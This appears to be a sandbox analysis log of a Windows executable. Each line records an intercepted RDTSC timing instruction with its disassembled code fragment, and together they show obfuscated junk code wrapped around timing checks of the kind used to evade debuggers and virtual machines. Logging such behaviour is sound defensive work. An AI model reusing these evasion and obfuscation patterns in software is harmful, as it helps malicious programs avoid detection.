Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6D51 second address: 10D6D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6D5D second address: 10D6D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6D63 second address: 10D6D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6D6A second address: 10D6D6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6D6F second address: 10D6D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F441484CE76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6D7B second address: 10D6D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6D81 second address: 10D6DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F441484CE7Dh 0x0000000b jmp 00007F441484CE7Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4222 second address: 10A4253 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F4414D31C2Ch 0x0000000f jng 00007F4414D31C2Ch 0x00000015 jne 00007F4414D31C26h 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4253 second address: 10A4257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4257 second address: 10A4275 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4414D31C30h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007F4414D31C2Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E06FA second address: 10E071D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F441484CE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F441484CE85h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E071D second address: 10E0733 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4414D31C26h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F4414D31C26h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0894 second address: 10E08AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F441484CE7Ch 0x00000009 popad 0x0000000a js 00007F441484CE7Ah 0x00000010 pushad 0x00000011 popad 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E08AF second address: 10E08B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E08B5 second address: 10E08BF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F441484CE76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0A40 second address: 10E0A4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F4414D31C26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0A4A second address: 10E0A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0A4E second address: 10E0A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0A5C second address: 10E0A62 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0E47 second address: 10E0E4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E264F second address: 10E2655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E374D second address: 10E37BE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4414D31C3Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F4414D31C39h 0x00000015 jmp 00007F4414D31C34h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F4414D31C39h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E37BE second address: 10E37DF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jmp 00007F441484CE84h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E37DF second address: 10E37E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1B71 second address: 10B1B7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1B7D second address: 10B1B81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EADC1 second address: 10EADFF instructions: 0x00000000 rdtsc 0x00000002 js 00007F441484CE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F441484CE95h 0x00000010 popad 0x00000011 jng 00007F441484CE84h 0x00000017 jng 00007F441484CE7Eh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB4A7 second address: 10EB4AD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB4AD second address: 10EB4C6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F441484CE78h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edi 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007F441484CE76h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB4C6 second address: 10EB4D4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F4414D31C26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB4D4 second address: 10EB4EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB4EB second address: 10EB4EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EB4EF second address: 10EB4FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEDCB second address: 10EEDD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEDD0 second address: 10EEDD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEE70 second address: 10EEE76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEE76 second address: 10EEE7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEE7C second address: 10EEE80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEE80 second address: 10EEEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 4F301851h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F441484CE78h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 mov edi, dword ptr [ebp+122D39EDh] 0x0000002f call 00007F441484CE79h 0x00000034 ja 00007F441484CE80h 0x0000003a push eax 0x0000003b jmp 00007F441484CE81h 0x00000040 mov eax, dword ptr [esp+04h] 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 jno 00007F441484CE76h 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEEF3 second address: 10EEEF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEEF8 second address: 10EEEFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEEFE second address: 10EEF02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF65E second address: 10EF669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F441484CE76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFB7D second address: 10EFB9F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b mov edi, dword ptr [ebp+122D18C4h] 0x00000011 nop 0x00000012 pushad 0x00000013 jmp 00007F4414D31C2Ch 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFB9F second address: 10EFBC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F441484CE89h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFE16 second address: 10EFE1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFE1A second address: 10EFE20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFE20 second address: 10EFE2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4414D31C2Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFFD1 second address: 10EFFE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jbe 00007F441484CE84h 0x0000000f pushad 0x00000010 je 00007F441484CE76h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F06D5 second address: 10F06D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F35B3 second address: 10F35CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F402D second address: 10F4040 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4414D31C28h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4293 second address: 10F4299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4040 second address: 10F404A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4414D31C26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4299 second address: 10F429D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F404A second address: 10F405C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4414D31C2Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F405C second address: 10F4060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4EB7 second address: 10F4EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F59F3 second address: 10F5A69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F441484CE78h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 mov dword ptr [ebp+1244CB5Fh], ecx 0x00000027 push 00000000h 0x00000029 mov esi, dword ptr [ebp+122D1B15h] 0x0000002f push 00000000h 0x00000031 pushad 0x00000032 jmp 00007F441484CE80h 0x00000037 sub dword ptr [ebp+122D20A1h], edx 0x0000003d popad 0x0000003e xchg eax, ebx 0x0000003f push eax 0x00000040 jmp 00007F441484CE7Ah 0x00000045 pop eax 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F441484CE83h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F5A69 second address: 10F5A6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F771E second address: 10F7722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7722 second address: 10F7728 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7728 second address: 10F772E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F772E second address: 10F7732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7732 second address: 10F774E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE7Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A929F second address: 10A92B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4414D31C2Eh 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F961E second address: 10F9633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F441484CE80h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F9B7E second address: 10F9B84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FABAC second address: 10FABB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FBA76 second address: 10FBA7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FBA7A second address: 10FBA8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FBA8C second address: 10FBA96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F4414D31C26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FDBC3 second address: 10FDBEE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+1245A46Bh], ebx 0x0000000f push 00000000h 0x00000011 or edi, 6BA4139Bh 0x00000017 xor edi, 53EB1463h 0x0000001d push 00000000h 0x0000001f mov dword ptr [ebp+1247B7A8h], edx 0x00000025 xchg eax, esi 0x00000026 push esi 0x00000027 push eax 0x00000028 push edx 0x00000029 push esi 0x0000002a pop esi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCB3C second address: 10FCB41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FDBEE second address: 10FDBFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCC0A second address: 10FCC4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e js 00007F4414D31C26h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F4414D31C37h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FEC0F second address: 10FEC22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F441484CE7Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FEC22 second address: 10FEC93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c jp 00007F4414D31C28h 0x00000012 pop esi 0x00000013 nop 0x00000014 mov edi, dword ptr [ebp+122D18AAh] 0x0000001a jnc 00007F4414D31C2Bh 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007F4414D31C28h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 00000017h 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007F4414D31C28h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 00000017h 0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 cmc 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push esi 0x0000005d pushad 0x0000005e popad 0x0000005f pop esi 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FFD28 second address: 10FFD2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FEE01 second address: 10FEE06 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100E33 second address: 1100E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100022 second address: 1100028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1101E80 second address: 1101E86 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1101E86 second address: 1101E8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1100FB5 second address: 1100FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104620 second address: 1104626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105557 second address: 110555D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110555D second address: 1105562 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104875 second address: 1104879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104879 second address: 110487D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110487D second address: 1104883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1107425 second address: 110742C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110742C second address: 1107432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1107432 second address: 1107455 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
